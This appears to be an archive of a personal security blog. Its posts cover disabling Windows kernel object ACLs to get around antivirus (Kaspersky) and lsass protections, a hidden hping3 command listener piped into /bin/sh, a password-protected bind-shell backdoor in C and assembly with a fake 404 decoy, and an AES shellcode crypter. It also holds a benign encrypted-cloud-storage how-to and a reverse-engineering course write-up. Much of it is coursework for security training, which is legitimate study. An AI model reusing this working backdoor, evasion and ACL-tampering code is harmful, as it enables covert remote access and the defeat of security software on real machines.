Pages

Sunday, February 23, 2014

Change Windows kernel objects' permissions

 

 Goal

This post shows how to NULL out ACLs of a privileged process or of a protected process and is based on the first trick described in [2] by Cesar Cerrudo.
  • Doing this can allow injecting code into the specific process from a less privileged process.
  • Another usage would be to bypass access restrictions of an anti-virus process, as in the example below.
The following technique can be used to:
    • Better understand kernel objects and how to access them !!
    • Remove ACLs of Windows objects (processes, threads, tokens, ..)
    • Replace security desciptors for Windows objects
    • Terminate difficult to kill processes
    • Set other privileges to a process token
    • Replace a process token

    Technique

    Getting started with LiveKD
    LiveKD [3] is a tool that simulates local kernel debugging. This program creates a "snapshot" dump file of the kernel memory, without actually stopping the kernel while this snapshot is made.
    We'll use it to take a peek into the kernel objects. I've downloaded livekd.exe, placed it in the Debuggers folder of WinDDK (C:\WinDDK\7600.16385.1\Debuggers) then run it from an Administrator console.


    Process search
    We'll quickly search for our targeted process, avp.exe in this case.
    kd> !process 0 0 avp.exe
    PROCESS 8552a030  SessionId: 0  Cid: 058c    Peb: 7ffdf000  ParentCid: 021c
        DirBase: 3502b000  ObjectTable: 9db79008  HandleCount: 2421.
        Image: avp.exe
    


    Process details
    kd> !process 8552a030 1
    PROCESS 8552a030  SessionId: 0  Cid: 058c    Peb: 7ffdf000  ParentCid: 021c
        DirBase: 3502b000  ObjectTable: 9db79008  HandleCount: 2421.
        Image: avp.exe
        VadRoot 855e35c8 Vads 896 Clone 0 Private 47284. Modified 54609. Locked 9.
        DeviceMap 89c089e8
        Token                             a89ca9f0
        ElapsedTime                       00:04:32.758
        UserTime                          00:00:03.655
        KernelTime                        00:00:06.269
        QuotaPoolUsage[PagedPool]         0
        QuotaPoolUsage[NonPagedPool]      0
        Working Set Sizes (now,min,max)  (7583, 50, 345) (30332KB, 200KB, 1380KB)
        PeakWorkingSetSize                85004
        VirtualSize                       616 Mb
        PeakVirtualSize                   781 Mb
        PageFaultCount                    331536
        MemoryPriority                    BACKGROUND
        BasePriority                      8
        CommitCharge                      56081
    
    

    Process token
    We can verify the process' token as follows:
    kd> dt nt!_TOKEN a89ca9f0
       +0x000 TokenSource      : _TOKEN_SOURCE
       +0x010 TokenId          : _LUID
       +0x018 AuthenticationId : _LUID
       +0x020 ParentTokenId    : _LUID
       +0x028 ExpirationTime   : _LARGE_INTEGER 0x6207526`b64ceb90
       +0x030 TokenLock        : 0x84b44090 _ERESOURCE
       +0x034 ModifiedId       : _LUID
       +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
       +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
       +0x074 SessionId        : 0
       +0x078 UserAndGroupCount : 5
       +0x07c RestrictedSidCount : 0
       +0x080 VariableLength   : 0x70
       +0x084 DynamicCharged   : 0x400
       +0x088 DynamicAvailable : 0
       +0x08c DefaultOwnerIndex : 1
       +0x090 UserAndGroups    : 0xa89cabcc _SID_AND_ATTRIBUTES
       +0x094 RestrictedSids   : (null)
       +0x098 PrimaryGroup     : 0x91d42dc8 Void
       +0x09c DynamicPart      : 0x91d42dc8  -> 0x101
       +0x0a0 DefaultDacl      : 0x91d42dd4 _ACL
       +0x0a4 TokenType        : 1 ( TokenPrimary )
       +0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous )
       +0x0ac TokenFlags       : 0x2800
       +0x0b0 TokenInUse       : 0x1 ''
       +0x0b4 IntegrityLevelIndex : 4
       +0x0b8 MandatoryPolicy  : 1
       +0x0bc LogonSession     : 0x89c01710 _SEP_LOGON_SESSION_REFERENCES
       +0x0c0 OriginatingLogonSession : _LUID
       +0x0c8 SidHash          : _SID_AND_ATTRIBUTES_HASH
       +0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
       +0x1d8 pSecurityAttributes : 0xa68bdef0 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
       +0x1dc VariablePart     : 0xa89cabf4
    

    Objects' details
    Kernel objects (process, threads, tokens, ..) all have a header which contains a field called SecurityDescriptor. This contains the ACEs applied to the current object (This is greatly described in [4], Part 1).
    kd> dt nt!_OBJECT_HEADER
       +0x000 PointerCount     : Int4B
       +0x004 HandleCount      : Int4B
       +0x004 NextToFree       : Ptr32 Void
       +0x008 Lock             : _EX_PUSH_LOCK
       +0x00c TypeIndex        : UChar
       +0x00d TraceFlags       : UChar
       +0x00e InfoMask         : UChar
       +0x00f Flags            : UChar
       +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
       +0x010 QuotaBlockCharged : Ptr32 Void
       +0x014 SecurityDescriptor : Ptr32 Void
       +0x018 Body             : _QUAD
    

    Security Descriptors
    We first get the address of the object's headers:
    kd> !object 8552a030
    Object: 8552a030  Type: (84a38978) Process
        ObjectHeader: 8552a018 (new version)
        HandleCount: 8  PointerCount: 1008
    

    Then view the header's structure:
    kd> dt nt!_OBJECT_HEADER 8552a018
       +0x000 PointerCount     : 0n1008
       +0x004 HandleCount      : 0n8
       +0x004 NextToFree       : 0x00000008 Void
       +0x008 Lock             : _EX_PUSH_LOCK
       +0x00c TypeIndex        : 0x7 ''
       +0x00d TraceFlags       : 0 ''
       +0x00e InfoMask         : 0x8 ''
       +0x00f Flags            : 0 ''
       +0x010 ObjectCreateInfo : 0x82949480 _OBJECT_CREATE_INFORMATION
       +0x010 QuotaBlockCharged : 0x82949480 Void
       +0x014 SecurityDescriptor : 0x89c05eee Void
       +0x018 Body             : _QUAD
    

    To manually view the security ACEs, we display the structure after zero-ing the last 3 bits ("The ­security descriptor pointer in the object header uses some of the low-order bits as flags, and these must be zeroed before following the pointer" [4]):
    kd> !sd 0x89c05eee & -8 1
    ->Revision: 0x1
    ->Sbz1    : 0x0
    ->Control : 0x8814
                SE_DACL_PRESENT
                SE_SACL_PRESENT
                SE_SACL_AUTO_INHERITED
                SE_SELF_RELATIVE
    ->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)
    ->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
    ->Dacl    :
    ->Dacl    : ->AclRevision: 0x2
    ->Dacl    : ->Sbz1       : 0x0
    ->Dacl    : ->AclSize    : 0x3c
    ->Dacl    : ->AceCount   : 0x2
    ->Dacl    : ->Sbz2       : 0x0
    ->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
    ->Dacl    : ->Ace[0]: ->AceFlags: 0x0
    ->Dacl    : ->Ace[0]: ->AceSize: 0x14
    ->Dacl    : ->Ace[0]: ->Mask : 0x001fffff
    ->Dacl    : ->Ace[0]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
    
    ->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
    ->Dacl    : ->Ace[1]: ->AceFlags: 0x0
    ->Dacl    : ->Ace[1]: ->AceSize: 0x18
    ->Dacl    : ->Ace[1]: ->Mask : 0x00121411
    ->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administrators)
    
    ->Sacl    :
    ->Sacl    : ->AclRevision: 0x2
    ->Sacl    : ->Sbz1       : 0x0
    ->Sacl    : ->AclSize    : 0x1c
    ->Sacl    : ->AceCount   : 0x1
    ->Sacl    : ->Sbz2       : 0x0
    ->Sacl    : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
    ->Sacl    : ->Ace[0]: ->AceFlags: 0x0
    ->Sacl    : ->Ace[0]: ->AceSize: 0x14
    ->Sacl    : ->Ace[0]: ->Mask : 0x00000003
    ->Sacl    : ->Ace[0]: ->SID: S-1-16-16384 Unrecognized SID
    


    The 1 at the end tries to interpret the information in a more readable way (e.g. show users/groups corresponding to SIDs). Also, to zero out we AND with 8 (1000 in binary).

     

    Code

    I'll use  this technique as an example to change/remove the ACLs for a process. If we look at the OBJECT_HEADER structure, we see that the offset of the security descriptor is +0x014, while the object body starts at +0x018. This means that after we find the EPROCESS object's address, we decrement it by 4 to reach the security descriptor.

    To exemplify this, I've used some code from an old project (Hide processes through DKOM). The code deals with finding all EPROCESS structures and getting information from them. To test the driver, I've used a wrapper application that registers and starts a service, communicates with the driver, unregisters it and deletes the service. Code here.

    With a couple of  modified lines, we can zero out the security descriptor, or even assign the address of a security descriptor corresponding to another process:
    int new_acl = 0x9cfa4f39; // address of other descriptor structure or 0
    
    memmove((char*)pNextProcess - 4, &new_acl, 4);
    

    Demo

    1. Kaspersky
    Initially, Kaspersky doesn't allow viewing it's permissions:
    Access denied to permissions
    After we zero out its process ACEs, it seems that we still cannot view the permissions but we can change them:

    Access to change permissions
    This still didn't allow me to kill the avp.exe process, which was my initial goal (not even after removing SSDT hooks) but I'll describe some techniques to do that in the next post.

    If we try this technique on another important process, lsass.exe, we get the following:
    Security warning: no permissions assigned.
    Nice!

    2. Play around other processes
    We can play with this technique in other ways, like for example we can take the address of the permissions of calc.exe (using LiveKD) and assign them to lsass.exe.
    We can use this to change permissions for tokens, threads and other types of objects.

     

    Resources


    1. Windows Security Hardening Through Kernel Address Protection - Mateusz "j00ru" Jurczyk 
    2. Easy local Windows Kernel exploitation - Cesar Cerrudo
    3. Local Kernel-Mode Debugging - MSDN
    4. Windows Internals 6th Ed.

    Friday, November 1, 2013

    Create a hidden command listener by reusing an open port

    Scenario:
    - Box A - victim, running a network service on port 8834. We'll reuse this
    - Box B - attacker host behind NAT. Will transmit commands to the listener waiting on the victim.

    This is similar to a reverse shell from box A to box B, except that B will need another way to view results of the commands executed on A.

    A:
    $ sudo hping3 --listen SecretSignature -I vboxnet0 -p 8834 | /bin/sh
    

    --listen - Listen mode. Waits for packets containing the signature and dump the data from signature to the end of the packet
    -I - Interface to listen on
    -p - listening port

    This will intercept packets and dump the content after a matching signature. Commands will be passed to the shell to be executed. Another trick would be needed to view the output of the commands though.

    B:
    $ sudo hping3 --count 1 --data 200 --file commands.txt --sign SecretSignature 192.168.56.1 -V -p 8834
    

    --count 1 - stop after sending 1 packet
    --data 200 - set packet body size in bytes
    --file - fill packet with data from file
    --sign - fill first a signature in the packet
    -V - verbose
    -p - destination port

    $ cat commands.txt
    echo 123 > hacked.txt
    whoami > log.txt
    uname -a >> log.txt
    pwd >> log.txt
    ls -al >> log.txt
    ifconfig -a >> log.txt
    
    
    (New line at the end, to get the last command executed !)
    Verify on victim's A machine that commands have been executed and results saved in the corresponding files.

    Wednesday, August 7, 2013

    Store encrypted files on Google Drive

     We'll use the Grive Linux client for Google Drive and EncFS to create a 'safe' in the cloud, inside Google Drive and mount it locally:

    1. Install Grive
    sudo add-apt-repository ppa:nilarimogard/webupd8
    sudo apt-get update
    sudo apt-get install grive
    
    2. How to use
    Create a working folder :
    mkdir ~/grive
    cd ~/grive/
    
    Initial setup will require an authorization token from Google. Paste the link generated by the following command into the browser, get the token and paste it into the application
    grive -a
    
    Synchronization of all the files in the cloud:
    grive
    
    3. Create an encrypted safe
    For this I've used EncFS to create an encrypted filesystem inside the folder for the Google Drive:
    apt-get install encfs
    mkdir -p ~/grive/safe
    mkdir -p ~/safe
    
    Mount the encrypted safe to a decrypted folder (open the safe). If EncFS cannot find a filesystem at the specified location, it will create a new encrypted file system there.
    encfs ~/grive/safe/ ~/safe/
    
    I've used the paranoia mode for the initial setup - AES-256, PBKDF2, 160 bit salt, External IV Chaining (More details about the settings in the man page).
    To verify that it was mounted correctly:
    df -hT
    encfs        fuse.encfs  455G  232G  200G  54% /home/liv/safe
    
    Test the whole setup:
    cd ~/safe/
    echo "secret" > test.txt
    cat test.txt
    secret
    ls ~/grive/safe/
    pr6KT6wBszfvBqNLIo2pPliZ
    
    Unmount the encrypted volume (close the safe):
    sudo fusermount -u ~/safe
    

    Notes
    1. EncFS uses a file named .encfs6.xml to define the encrypted storage settings. This hidden file is not synchronized by Grive. 
    Solution: get a patched version of Grive or rename the file and store it on Google Drive. 
    After synchronizing Grive on another machine, rename the encfs6.xml file to .encfs6.xml.
    2. Problem:
    fusermount: failed to open /dev/fuse: Permission denied
    Solution:
    usermod -aG fuse
    reboot


    References
    EncFS Encrypted Filesystem
    Grive - Open source Linux client for Google Drive
    Synchronise hidden files other than .grive*

    Monday, August 5, 2013

    Reverse Engineering challenge - Coursera Malicious Software course (anti-ptrace)

    Malicious Software course, from Coursera, presented ways of malware to avoid detection and being reverse engineered, and also methods to detect and analyse them. Very interesting, especially the bonus challenge which is a small Linux binary, with some obfuscations protecting a secret.
    Now that the course has finished, I can safely share the solution for the Reverse Engineering bonus challenge.

     

    Overview

    The binary has all symbols stripped out and also has some basic anti-debugging techniques in place.
    $ file bonus_reverse-challenge
    bonus_reverse-challenge: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x2fe5f1647532449ffeef36a7fa31ae8319c8818d, stripped
    

    The strings command reveals some interesting stuff:
    $ strings bonus_reverse-challenge
    . . .
    socket
    fflush
    exit
    htons
    connect
    puts
    printf
    mkstemp
    read
    stdout
    inet_addr
    close
    sleep
    write
    /tmp
    /bti
    ... 
    xKZl_^_XCY^CIE
    woot!
    127.0.0.1
    Dude, no debugging ;-)
    Are you feeling lucky today?
    [+] WooT!: %s
    [~] Maybe.
    [-] Nope.
    
    Some socket operations and file manipulation. Also an ASCII string with some XOR characters (^) in it (hint ?!). Interesting. We can brute force it quickly to see if we get something meaningful out of it:
    enc = "xKZl_^_XCY^CIE"
    for key in range(0, 127):
        print "".join([chr(ord(c)^key) for c in enc])
    
    $ ./decr.py
    . . .
    RapFuturistico
    

    Analysis

    If we start the application, we get a prompt and no hints about what to do next:
    $ ./bonus_reverse-challenge
    Are you feeling lucky today?
    
    (The 'Yes' answer is not accepted by the application :) )
    If we try to analyse it in gdb, we encounter another error:
    $ gdb ./bonus_reverse-challenge 
    Reading symbols from /home/liv/buffer/coursera/Malicious software/Week3/bonus-challenge/bonus_reverse-challenge...(no debugging symbols found)...done.
    (gdb) run
    Starting program: /home/liv/buffer/coursera/Malicious software/Week3/bonus-challenge/bonus_reverse-challenge 
    Dude, no debugging ;-)
    
    If we use the strace tool (same technique also used by gdb) we see exactly what happens:
    $ strace ./bonus_reverse-challenge
    . . .
    ptrace(PTRACE_TRACEME, 3215099972, 0xbfa287d4, 0) = -1 EPERM (Operation not permitted)
    fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
    mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76fa000
    write(1, "Dude, no debugging ;-)\n", 23Dude, no debugging ;-)
    
    So the process tries to allow tracing, but as it is already traced (by strace) the ptrace system call returns -1.
    This is a classic anti-debugging technique which can by bypassed in multiple ways.

    Reverse engineering

    First we have to get rid of the anti-ptrace protection. If we set a breakpoint in gdb at __libc_start_main and we step through some instructions, we find the code responsible for the ptrace system call:
    EBX:  0x00000000 ; Type of request. 0 means PTRACE_TRACEME
    =>    0x8048938: mov al,0x1a ; sys_ptrace syscall
          0x804893a: int 0x80    ; interrupt to execute syscall
    

    I chose to do a binary patching at this point, as there are only a few instructions which have to be removed to get rid of the ptrace syscall. In assembly the instructions look like this:
     8048938:    b0 1a                    mov al, 0x1a
     804893a:    cd 80                    int 0x80
    
    We can get the dump of the whole file with
    $ objdump -M intel -d bonus_reverse-challenge
    
    We'll overwrite them with nops:
    set *(unsigned long*)0x8048938 = 0x90909090
    

    After some more browsing we find the code responsible with parsing the input from the user. It seems to be a case which calls a function then displays a message based on the first letter of the input string. And there are 3 possibilities:
       0x8048a18:    movzx  eax,BYTE PTR [esp+0x20] ; input string
       0x8048a1d:    movsx  eax,al              ; first letter !
       0x8048a20:    cmp    eax,0x42
       0x8048a23:    je     0x8048a3c
       0x8048a25:    cmp    eax,0x43
       0x8048a28:    je     0x8048a49
       0x8048a2a:    cmp    eax,0x41
       0x8048a2d:    jne    0x8048a56
       0x8048a2f:    mov    DWORD PTR [esp+0x22c],0x804872b ; check function for A..
       0x8048a3a:    jmp    0x8048a58
       0x8048a3c:    mov    DWORD PTR [esp+0x22c],0x8048644 ; check function for B..
       0x8048a47:    jmp    0x8048a58
       0x8048a49:    mov    DWORD PTR [esp+0x22c],0x80486ca ; check function for C..
       0x8048a54:    jmp    0x8048a58
    
    We test this manually:
    $ ./bonus_reverse-challenge
    Are you feeling lucky today? A
    [~] Maybe.
    $ ./bonus_reverse-challenge
    Are you feeling lucky today? B
    [-] Nope.
    $ ./bonus_reverse-challenge
    Are you feeling lucky today? C
    [~] Maybe.
    
    If we were to believe the developer, we should go for Asomething or Csomething and further analyse.
    Let's try Bsomething variant (A... is interesting for analyses also but doesn't get us to the key)
    We quickly find references to the encrypted string found initially and a comparing routine, which computes a key and applies XOR to the input string using that key:
       0x8048664:    mov    DWORD PTR [ebp-0x10],0xfa ; key
       0x804866b:    pop    eax                       ; input string address
       0x804866c:    jmp    0x8048685
       0x804866e:    mov    eax,DWORD PTR [ebp-0xc]   ; first char of input string
       0x8048671:    movzx  eax,BYTE PTR [eax]
       0x8048674:    mov    edx,DWORD PTR [ebp-0x10]
       0x8048677:    and    edx,0x2b                  ;  key becomes 0x2A
       0x804867a:    xor    edx,eax
       0x804867c:    mov    eax,DWORD PTR [ebp-0xc]
       0x804867f:    mov    BYTE PTR [eax],dl
       0x8048681:    add    DWORD PTR [ebp-0xc],0x1
       0x8048685:    mov    eax,DWORD PTR [ebp-0xc]
       0x8048688:    movzx  eax,BYTE PTR [eax]
       0x804868b:    test   al,al
       0x804868d:    jne    0x804866e                  ; loop
       0x804868f:    mov    eax,DWORD PTR [ebp+0x8]
       0x8048692:    mov    edx,eax
       0x8048694:    mov    eax,0x8048bc0              ; "xKZl_^_XCY^CIE"
       0x8048699:    mov    ecx,0xf 
       0x804869e:    mov    esi,edx
       0x80486a0:    mov    edi,eax
       0x80486a2:    repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
    
    E(M, K) = "xKZl_^_XCY^CIE"
    Where:
      E - XOR encoding
      M - Input message after 'B' character
      K - Computed key: 0xFA && 0x2B = 0x2A  
    
    We reverse the algorithm and get the input message we need:
    $ python -c 'print "".join([chr(ord(c)^0x2a) for c in "xKZl_^_XCY^CIE"])'
    RapFuturistico
    
    So if the input string encodes to the string we found initially, the function returns 1 and we get a nice message:
    $ ./bonus_reverse-challenge
    Are you feeling lucky today? BRapFuturistico
    [+] WooT!: xKZl_^_XCY^CIE
    

    Nice! Many thanks to the authors for putting together the course and the challenge.

     

    References

    Linux Anti-Debugging
    Linux Syscall reference
    Executable patching with GDB

    Sunday, August 4, 2013

    Bind TCP Shellcode - with password

     As with the bind TCP shellcode, I've first started with a small C program to do this and analysed the system calls. The following program listens for incoming connections, prints a prompt message, reads some input and spawns a new shell if the input is equal to the password:
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <string.h>
    #include <sys/types.h>
    
    /* receiving password buffer size */
    #define     BUFSIZE      10
    
    /* Listening port */
    #define     PORT         8585
    
    /* Password prompt */
    char prompt[] =  \
        "<html>\n"
        "<body>\n"
        " <h1>Error 404 - Try elsewhere</h1>\n"
        "\n" 
        "</body>\n"
        "</html>\n";
    
    char password[] = "s3cr37";
    
    int main() {
        int listenfd = 0, connfd = 0;    
        int ret = 0;
        char buffer[BUFSIZE];
    
        struct sockaddr_in serv_addr;
    
        // Create an un-named socket. returns socket descriptor
        listenfd = socket(AF_INET, SOCK_STREAM, 0);
    
        memset(&serv_addr, '0', sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
        serv_addr.sin_port = htons(PORT);
    
        bind(listenfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr));
    
        // Listen on the created socket for maximum 1 client connection
        listen(listenfd, 1);
    
        // Sleep waiting for client requests
        connfd = accept(listenfd, (struct sockaddr*) NULL, NULL);
        printf("Created accept socket: %d\n", connfd);
    
        // Send fake prompt and wait for the password
        ret = send(connfd, prompt, strlen(prompt), 0); 
        if (-1 == ret) {
            printf("Send failed: %s\n", strerror(errno));
            return 1;
        }
    
        // Read password
        ret = recv(connfd, buffer, BUFSIZE, 0);
        if (-1 == ret) {
            printf("Recv failed: %s\n", strerror(errno));
            return 1;
        } else {
            printf("Received: %s", buffer);
        }
    
        // Compare
        if (!strncmp(buffer, password, strlen(password))){
            printf("Correct password. Opening shell...\n");    
        } else {
            close(listenfd);
            close(connfd);
            return 1;
        }
    
        // Duplicate stdin, stdout, stderr
        ret = dup2(connfd, 0);
        if (-1 == ret) {
            printf("STDIN duplication failed: %s\n", strerror(errno));
            return 1;
        }
    
        ret = dup2(connfd, 1);
        if (-1 == ret) {
            printf("STDOUT duplication failed: %s\n", strerror(errno));
            return 1;
        }
    
        ret = dup2(connfd, 2);
        if (-1 == ret) {
            printf("STDERR duplication failed: %s\n", strerror(errno));
            return 1;
        }
    
        // Replace process image
        char *args[2];
        args[0] = "/bin/sh";
        args[1] = NULL;      // Needs to ne a NULL terminated list of args
    
        ret = execve(args[0], args, NULL);
        if (-1 == ret) {
            printf("Execve failed: %s\n", strerror(errno));
            return 1;
        }
    
        return 0;
    }
    
    If we supply the correct password we get the shell:
    $ gcc -Wall shell_bind_tcp.c -o shell_bind_tcp
    $ ./shell_bind_tcp_passw  &
    [1] 4528
    Created accept socket: 5
    Received: s3cr37
    ลน� Correct password. Opening shell...
    $ nc -nvv 192.168.56.1 8585
    (UNKNOWN) [192.168.56.1] 8585 (?) open
    
    
    

    Error 404 - Try elsewhere

    s3cr37 whoami liv

    The next step is to reproduce these system calls in assembly and get the shellcode. This is easy to do, if we start from the previous TCP bind shellcode and add a recv call and compare input:
    global _start   
    
    section .text
    _start:
    
        ; Linux Syscall Reference
        ; http://syscalls.kernelgrok.com/
    
    
        ; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = listenfd
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        push ecx        ; NULL terminate args list
        mov cl, 6       ; IPPROTO_TCP (6)
        push ecx
        xor ecx, ecx
        mov cl, 1       ; SOCK_STREAM (1) - in socket.h
        push ecx
        xor ecx, ecx
        mov cl, 2       ; PF_INET (2) - IP PROTO FAMILY
        push ecx
        mov ecx, esp    ; socketcall arguments
        xor ebx, ebx
        mov bl, 1       ; socketcall type of call: SYS_SOCKET (1) 
        push 102
        pop eax         ; socketcall syscall
        int 0x80
        mov edx, eax    ; listenfd is returned in eax. Save into edx    
    
        ; 2. bind(listenfd, {sa_family=AF_INET, sin_port=htons(4444), \
        ;       sin_addr=inet_addr("0.0.0.0")}, 16)
        ;struct sockaddr_in {
        ;    short            sin_family;   // e.g. AF_INET, AF_INET6
        ;    unsigned short   sin_port;     // e.g. htons(3490)
        ;    struct in_addr   sin_addr;     // see struct in_addr, below
        ;    char             sin_zero[8];  // zero this if you want to
        ;};
        ;struct in_addr {
        ;    unsigned long s_addr;          // load with inet_pton()
        ;};
        xor ecx, ecx    ; Construct sockaddr structure on the stack
        push ecx        ; inet_addr - 0.0.0.0 - INADDR_ANY
        push word 0x8921; 16 bits - port number (8585 decimal)
        push word 2     ; family - AF_INET (2)
        mov ecx, esp    ; pointer to args
    
        push byte 0x10  ; Address length - 16 bytes
        push ecx        ; Pointer to sockaddr_in structure
        push edx        ; listenfd from socket call
    
        mov ecx, esp    ; socketcall arguments
        xor ebx, ebx
        mov bl, 2       ; socketcall type of call: SYS_BIND (2)
        xor eax, eax
        mov al, 102     ; socketcall syscall
        int 0x80
    
        ; 3. listen(listenfd, 1)
        push 1          ; max connections
        push edx        ; listenfd
        mov ecx, esp    ; pointer to socketcall arguments
        push 4
        pop ebx         ; SYS_LISTEN (4)
        push 102
        pop eax         ; socketcall syscall
        int 0x80
     
        ; 4. accept(listenfd, 0, NULL) = connfd
        xor ecx, ecx
        push ecx        ; NULL
        push ecx        ; 0
        push edx        ; listenfd
        mov ecx, esp    ; pointer to socketcall arguments
        push 5
        pop ebx         ; SYS_ACCEPT = 5
        push 102
        pop eax         ; socketcall syscall
        int 0x80        ; connfd will be in eax
        mov edx, eax    ; save new connection descriptor
    
        ; 5. recv(connfd, buffer, BUFSIZE, 0)
        ; recv(int sockfd, void *buf, size_t len, int flags);
        xor ecx, ecx    
        push   ecx      ; flags (0)
        push   0xa      ; buffer size
        lea    ecx, [esp + 8]
        push   ecx      ; addres of buffer
        mov edi, ecx    ; save address of buffer for further comparison
        push   edx      ; sockfd
        mov    ecx, esp ; ECX - params of socket call    
        push 10
        pop ebx         ; EBX - type of socketcall - SYS_RECV (10)
        push 102
        pop eax         ; socketcall syscall
        int 0x80        ; connfd will be in eax
    
    
        ; 6. compare password
     mov ecx, 6      ; passwd len
        ; pass: s3cr37 - 73 33 63 72 33 37 
        push 0xAAAA3733
        push 0x72633373
     mov esi, esp
        ; address of buffer is already saved in edi
     repe cmpsb
     jz correct_pass
        
        ; exit()
        xor eax, eax
     mov al, 1
     xor ebx, ebx
        mov bl, 7
     int 0x80
    
    correct_pass:
        ; 7. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
        push 2
        pop ecx         ; ecx - newfd
        mov ebx, edx    ; edx - connfd, ebx - oldfd
        dup_loop:
        mov al, 63      ; dup2 syscall
        int 0x80
        dec ecx
        jns dup_loop    ; exit when signed (-1)
          
        ; 8. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
     ; PUSH the first null dword 
     xor eax, eax
     push eax
    
        ; PUSH //bin/sh (8 bytes) 
     push 0x68732f2f ; 'hs//'
     push 0x6e69622f ; 'nib/
     mov ebx, esp    ; EBX - 1st param - NULL terminated filename
    
     push eax        ; EDX - 3rd param - NULL terminated list of env variables
     mov edx, esp    ; NULL terminator must be set before setting the 2nd param!
    
     push ebx        ; ECX - 2nd param - array of argument strings
     mov ecx, esp
    
     mov al, 11      ; execve syscall
     int 0x80
    
    
    

    The complete source files, wrapper script and test shellcode can be found in  a git repository at:
    SLAE


    This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
    www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
    Student ID: SLAE- 449
        

    AES Shellcode crypter

    This is the last assignment of SLAE: building a shellcode crypter. Thanks Vivek and the team at SecurityTube for the course!
    • I  chose to do the encryption using python-crypto library. I used AES-128, in CBC mode with PKCS5 padding
    • I did the decryption of the shellcode using the easily integrable PolarSSL AES source code
    The encryption password is provided on the command line, then the python script hard-codes it in the decrypter and builds it. For exemplify I've used the execve-stack shellcode:
    $ ./encrypt_payload_polar.py 
    Usage:
        ./encrypt_payload_polar.py [passphrase]
        
    $ ./encrypt_payload_polar.py s3cr37
    [+] Shellcode (len 32):
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    "\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
    [+] Key:
    "\xe8\xca\xa8\xd3\x69\x22\xbe\x22\xf3\x2e\x08\x30\x11\xc0\xef\xbc"
    [+] IV:
    "\x07\xb0\x24\x02\x5b\x00\x68\xfc\x34\x30\x5e\x42\x64\x24\x39\x99"
    [+] Encrypted shellcode (len 134): 
    "\x0d\x18\x30\xe5\xca\x14\x13\x3d\x5e\xb2\xfa\xeb\x60\x1d\x51\x9b"
    "\x24\x74\x64\xd7\x17\x9f\x32\xdf\xbf\x36\xf4\x91\x9c\x03\x09\xfb"
    [+] Compiling:
     -> gcc -Wall -z execstack -o encrypted_shellcode temp.c PolarSSL/aes.c PolarSSL/md5.c
     -> strip --strip-all encrypted_shellcode
     -> rm temp.c
    [*] Done.
    $ ./encrypted_shellcode 
    #
    

     The encrypter/decrypter uses the password to generate a 128 bits key, by hashing the password.
    The PolarSSL is extremely easy to integrate and use, compared with the OpenSSL, and the generated binary is also much smaller as only AES and MD5 functions are linked in. Here's a snippet of the decrypter code that does the main bits:
        unsigned char key[16];
        unsigned char iv[16] = 
    "\xb4\x9d\x64\x10\xa8\x3b\x1b\xa9\x29\xc4\x4b\x09\xfe\x2c\xd3\x56";
    
        unsigned char input[] = 
    "\x24\x06\xa6\xe4\x5d\xc4\xc0\x0e\x36\x7d\x05\x5a\xfe\xc1\x07\x0c"
    "\x31\x48\xef\x06\x0f\x09\x84\x98\x03\x3e\x04\x1e\x08\x6d\xb2\xe3";
        size_t input_len = 32;
        unsigned char output[32];
    
        unsigned char passw[] = "s3cr37";
        size_t in_len = 6;
    
        /* Generate a 128 bits key from the password */
        md5_context md5_ctx;
        md5_starts(&md5_ctx);
        md5_update(&md5_ctx, passw, in_len);
        md5_finish(&md5_ctx, key);
    
        /* Decrypt the payload */
        aes_context aes;
        aes_setkey_dec(&aes, key, 128);
        aes_crypt_cbc(&aes, AES_DECRYPT, input_len, iv, input, output);
    
        /* Execute decrypted shellcode */
        ((void (*)()) output)();
    


    The python script uses a template of the decrypter and fills in the encrypted shellcode, the lengths, IV and key and then generates the encrypted binary. Below is a snippet of the main function:
    def make_binary(password):
        sc_len = len(pad(shellcode))
        print_done("[+] Shellcode (len %d):" % (sc_len))
        print "%s" % (to_hex(shellcode))
    
        # Generate a secret key and random IV
        h = MD5.new()
    
        h.update(password)
        key = h.digest()
        str_key = to_hex(key)
        print_done("[+] Key:")
        print "%s" % str_key
    
        # Generate random IV
        iv = os.urandom(BS)
        str_iv = to_hex(iv) #"\"%s\"" % "".join(["\\x%02x" % ord(c) for c in iv])
        print_done("[+] IV:")
        print "%s" % str_iv
    
        # Create a cipher object using the random secret
        cipher = AES.new(key, AES.MODE_CBC, iv)
    
        enc = cipher.encrypt(pad(shellcode))
        str_enc = to_hex(enc)
